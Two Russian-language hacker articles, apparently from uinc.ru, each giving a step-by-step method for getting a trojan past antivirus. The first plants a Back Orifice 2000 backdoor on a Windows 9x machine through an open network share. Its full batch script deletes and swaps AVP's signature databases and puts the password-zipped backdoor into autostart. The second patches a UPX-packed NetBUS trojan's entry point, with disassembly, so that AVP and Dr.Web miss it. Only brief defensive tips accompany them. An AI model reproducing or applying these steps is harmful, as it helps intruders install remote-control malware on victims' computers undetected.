Источник: www.uinc.ru
Данный
метод
работает
только
на
Windows
9x
русских
версиях
(для
английских
версий
необходимо
подправить
каталог
автозапуска),
а
также
при
инсталляции
Antiviral
Toolkit
Pro
в
c:\program
files\antiviral
toolkit
pro\
(по
умолчанию).
Рассмотрим
следующую
ситуацию:
есть
хост,
имеющий
общий
ресурс
С
с
полным
доступом,
установленным
Antiviral
Toolkit
Pro.
Как
положить
на
него
backdoor?
Для
этого
надо
заархивировать
с
паролем
(BackdooR)
сервер
бакдора
(будем
использовать
Back
Oriffice
2000).
Пароль
используется
для
того,
чтобы
AVP
сканер
не
смог
обнаружить
сервер
бакдора:
PKZIP.EXE
-a
-sBackooR
asyslg.dll
BO2K.EXE
Теперь
AVP
не
сможет
увидеть
сигнатуры
BO2k
в
ASYSLG.DLL
(если
установлена
опция
проверки
архивов).
Затем
необходимо
обеспечить
запуск
сервера
и
обезвредить
AVP.
Для
этого
напишем
BAT-файл:
@echo
off
attrib
-R
c:\progra~1\antivi~1\backdoor.avc
>nul
attrib
-R
c:\progra~1\antivi~1\trojan.avc
>nul
del
c:\progra~1\antivi~1\backdoor.avc
>nul
del
c:\progra~1\antivi~1\trojan.avc
>nul
copy
c:\progra~1\antivi~1\macro.avc
c:\progra~1\antivi~1\backdoor.avc
>nul
copy
c:\progra~1\antivi~1\mail.avc
c:\progra~1\antivi~1\trojan.avc
>nul
c:\windows\pkunzip.exe
-e
-sBackdooR
c:\windows\ASYSLG.DLL
C:\Windows\ГЛАВНО~1\ПРОГРА~1\АВТОЗА~1\
>nul
del
c:\windows\pkunzip.exe
>nul
del
c:\windows\asyslg.dll
>nul
del
c:\winstart.bat
>nul
echo
on
Расшифровка построчно:
отключение
вывода
на
экран
выполняемых
команд
снятие
атрибута
READONLY
с
файла
backdoor.avc
(база
сигнатур
для
бакдоров)
снятие
атрибута
READONLY
с
файла
tojan.avc
(база
сигнатур
для
троянов)
удаление
файла
backdoor.avc
удаление
файла
tojan.avc
подмена
базы
(для
того,
чтобы
при
запуске
сканера
AVP
не
ругался)
подмена
базы
(отсутствие
базы)
разархивация
бакдора
и
помещение
его
автозагрузку
удаление
PKUNZIP
удаление
архива
с
бакдором
удаление
файлы
запуска
Почему это
будет
работать?
Потому
что
при
старте
Windows
если
в
главном
каталоге
находится
файл
WINSTART.BAT
он
запускается
на
выполнение.
При
этом
пользователь
не
увидит
ни
одного
сообщения.
Затем
необходимо
скопировать
на
удаленный
компьютер
следующие
файлы:
ASYSLG.DLL
в
директорию
c:\windows\
PKUNZIP.EXE
в
директорию
c:\windows\
WINSTART.BAT
в
директорию
c:\
Итого
необходимо
будет
закачать
86.508
байт.
Все.
После
перезагрузки
на
компьютере
из
автозагрузки
запустится
сервер,
удалит
себя
оттуда
и
запишет
себя
в
c:\windows\system\
(сервер
должен
быть
сконфигурирован
на
удаление
оригинального
файла).
В
принципе,
можно
использовать
архиватор
CAB,
и
проводить
распаковывание
программой
EXTRACT.EXE,
которая
присутствуют
на
почти
всех
компьютерах,
что
позволит
уменьшить
размер
перекачиваемых
данных,
однако
данный
архиватор
не
позволяет
архивировать
с
паролем,
что
может
привести
к
обнаружению
сервера
бакдора
сканером
(если
включена
опция
проверки
архивов).
Рекомендации
по
защите
от
данного
вида
атаки:
Закройте
все
общие
ресурсы!
Если
вы
без
них
жить
не
можете
установите
на
них
пароль
(не
менее
6
символов
и
не
менее
1
спецсимвола).
Поставьте
себе
Firewall.
Даже
если
эта
атака
пройдет
успешной,
получить
доступ
к
вашей
системе
не
удастся
-
Firewall
вас
сразу
же
предупредит
о
попытке
проникновения.
Я
рекомендую
Tiny
Personal
Firewall.
При
обнаружении
и
внезапной
пропажи
каких-то
файлов
сразу
проверяйте
свои
диски
антивирусом,
а
также
проводите
профилактическое
сканирование
дисков
не
менее
одного
раза
в
неделю.
Своевременно
обновляйте
антивирусные
базы.
Автор:
ZaDNiCa
Модифицируем
троян
или
как
обойти
AVP
#2
Прочитав
повествование
об
обмане
AVP
при
посылке
трояна
на
удаленный
компьютер
я
был
сказочно
обрадован
полетом
народной
мысли
:)
Но
разве
можно
заниматься
таким
вредительством,
как
удаление
баз
с
вирусными
сигнатурами
-
это
сакс
(не
по-кулхацкерски),
к
тому
же
каждый
дурак
любит
постоянно
обновлять
базы
-
благо
на
халяву
и
автоматом
:(
Теперь
и
я
хочу
поделиться
кое-каким
методом.
Задача
стара
как
мир
-
не
занимаясь
написанием
своего
трояна,
надо
сделать
имеющийся
незаметным
для
антивируса.
Итак,
нам
понадобятся:
PE
компрессор
UPX
(http://upx.tsx.org)
Шестнадцатеричный
редактор
Hiew
(http://protools.cjb.net)
ProcDump32
как
редактор
PE
(http://protools.cjb.net)
Минимальные
познания
в
ассемблере
Собственно
троян.
Я
взял
старый
NetBUS
(уж
что
нашлось)
Правильно
установленный
девайс
"руки"
Так
как
же
антивирус
ищет
вирусы
и
трояны?
Какое-то
время
назад
я
пообщался
с
очень
умными
людьми,
которые
сообщили
мне,
что
это
"Страшная
Тайна",
и
официальной
информации
я
по
этому
поводу
не
найду.
Но
если
в
вкратце,
то
антивирус,
не
обнаружив
в
файле
известных
сигнатур
(последовательностей
байт),
применяет
"эвристику"
-
начинает
смотреть,
что
за
команды
идут
в
файле,
и
пытается
их
эмулировать
и
"смотреть",
что
же
эти
команды
могут
делать,
поскольку
не
может
просто
запустить
файл,
дождаться,
пока
он
сам
распакуется/расшифруется
в
память,
дабы
случайно
не
заразить
комп,
на
котором
запускается
этот
файл.
Однако
многие
команды
(например,
настройку
импорта)
процессора
он
не
может
проэмулировать,
поэтому,
встретив
такие
команды,
он
просто
забивает
на
дальнейшую
проверку,
даже
не
говоря
о
своей
некомпетентности
:)
К
счастью
(или
нет),
все
пакеры
для
оптимизации
пишутся
настолько
через
задницу,
что
антивирус
приходит
в
дикий
восторг,
т.е.
бросает
проверку
файла,
что
нам
и
надо.
Тем
не
менее,
у
AVP
есть
набор
функций,
с
помощью
которых
он
может
определить,
чем
запакован
файл,
и
распаковать
его
по
имеющейся
схеме,
что
он
и
делает
в
частности
для
UPX,
и
обнаруживает
трояна
в
запакованном
файле.
Основная
идея
заключается
в
том,
что
нам
надо
изменить
распаковщик
таким
образом,
чтобы
антивирус
не
признал
в
файле
известный
ему
пакер
и
пропустил
проверку.
Итак,
займемся
делом.
Берем
файл
patch.ex_
из
архива
original.zip
(я
его
специально
так
назвал,
чтобы
ни
у
кого
не
было
соблазна
запустить
его,
а
потом
обвинять
меня
в
распространении
троянов).
Я
этот
файл
уже
пожал
UPX.
Файл
определяется
AVP
как
Backdoor.NetBUS.170.
Если
используете
другой
троян,
то
пакуем
его
с
помощью
UPX.
AVP
все
равно
определяет
трояна,
но
говорит,
что
файл
пожат
UPX.
Хех,
я
это
и
так
знаю…Теперь
натравливаем
на
пожатый
файл
PE
Editor
из
ProcDump32.
Нам
надо
посмотреть
адрес
точки
входа
в
файл
(Entry
Point)
и
адрес
загрузки
(Image
Base).
Имеем:
Entry
Point:
00082460h
Image
Base:
00400000h
Теперь
открываем
файл
в
Hex
редакторе
Hiew.
Переходим
в
режим
дизассемблера
(F4/Decode).
Отправляемся
по
адресу
Entry
Point
+
Image
Base
=
00482460h
(у
кого
плохо
с
шестнадцатеричной
математикой,
может
воспользоваться
стандартным
мастдайским
калькулятором
-
там
есть
Hex
режим).
Для
этого
жмем
Goto
(F5)
и
набиваем
в
качестве
адреса
".482460"
(точка
перед
адресом
нужна
потому
что
это
виртуальный
адрес).
Видим
начало
распаковщика
-
что
то
вроде
этого:
.00482460:
60
pushad
.00482461:
BE00304500
mov
esi,000453000
;"
E0
"
.00482466:
8DBE00E0FAFF
lea
edi,[esi][0FFFAE000]
.0048246C:
C787B0C405001C340F90
mov
d,[edi][00005C4B0],0900F341
.00482476:
57
push
edi
.00482477:
83CDFF
or
ebp,-001
;"
"
.0048247A:
EB0E
jmps
.00048248A
То,
что
надо.
Теперь
надо
найти
свободное
место
для
патча.
Пролистаем
страниц
6
вниз,
и
видим
немного
места
забитого
нулями
-
это
добрый
дядя
Билли
придумал
выравнивание
секций.
Вот
это
и
нужно
было
нам.
Я
выбрал
адрес
004825CFh.
Теперь
подводим
курсор
к
этому
адресу
и
начинаем
редактировать
файл
в
ассемблерном
режиме
(F3/F2).
Заколачиваем
всего
две
команды:
push
OEP
и
ret
(не
забывая
жать
enter
после
ввода
каждой
команды
:)
Где
ОЕР
это
Entry
Point
+
Image
Base,
т.е.
в
нашем
случае
это
число
00482460
-
для
других
файлов
соответственно
будет
другое.
Итого
забили
вот
что:
Push
00482460
Ret
Сохраняем
изменения
(F9)
и
теперь
файло
выглядит
примерно
так:
.004825A9:
8903
mov
[ebx],eax
.004825AB:
83C304
add
ebx,004
;"
"
.004825AE:
EBE1
jmps
.000482591
.004825B0:
FF9698380800
call
d,[esi][000083898]
.004825B6:
61
popad
.004825B7:
E9B87CFDFF
jmp
.00045A274
.004825BC:
D425
aam
025
.004825BE:
48
dec
eax
.004825BF:
00E0
add
al,ah
.004825C1:
254800B0D4
and
eax,0D4B00048
;"+_
H"
.004825C6:
45
inc
ebp
.004825C7:
0000
add
[eax],al
<--
Это
было
забито
нулями
.004825C9:
0000
add
[eax],al
.004825CB:
0000
add
[eax],al
.004825CD:
0000
add
[eax],al
.004825CF:
6860244800
push
000482460
;"
H$`"
<--
Это
наша
вставка
.004825D4:
C3
retn
.004825D5:
0000
add
[eax],al
<--
Опять
нули
.004825D7:
0000
add
[eax],al
Остался
последний
рывок.
Снова
открываем
файл
в
PE
Editor'е
от
ProcDump32
и
меняем
точку
входа
на
адрес
нашей
вставки,
не
забыв
от
виртуально
адреса
отнять
Image
Base,
т.е.
в
Entry
Point
пишем
000825CF
(Offset
-
Image
Base
=
004825CF
-
00400000
=
000825CF).
Кто
знаком
с
ассемблером,
тот
поймет,
что
было
сделано,
а
кто
не
знает
(sic!)
-
тому
это
не
нужно
:)
Вся
операция
занимает
2-3
минуты
и
литр
пива.
Проверьте
полученный
файл
(лежит
в
patched.zip)
антивирусом.
Мой
AVP
(как
сканер,
так
и
монитор)
ничего
не
заметили,
даже
не
сказали
что,
файл
пожат.
Вот
такой
он
"народный",
"самый
лучший"
антивирус.
Кстати,
Dr.Web
тоже
отсосал
и
все
такое.
Полученный
файл
прекрасно
работает
у
меня
на
WinME,
как
будет
он
себя
вести
на
Win2k
или
НТ
-
Х.З.
Я
не
проверял,
но
причин
для
отказа
в
работе
я
не
вижу.
Если
у
кого-то
не
получится
так
сделать
-
мылить
мне
не
нужно,
а
надо
переустановить
драйвера
устройства
"руки".
Автор:
Dr.Golova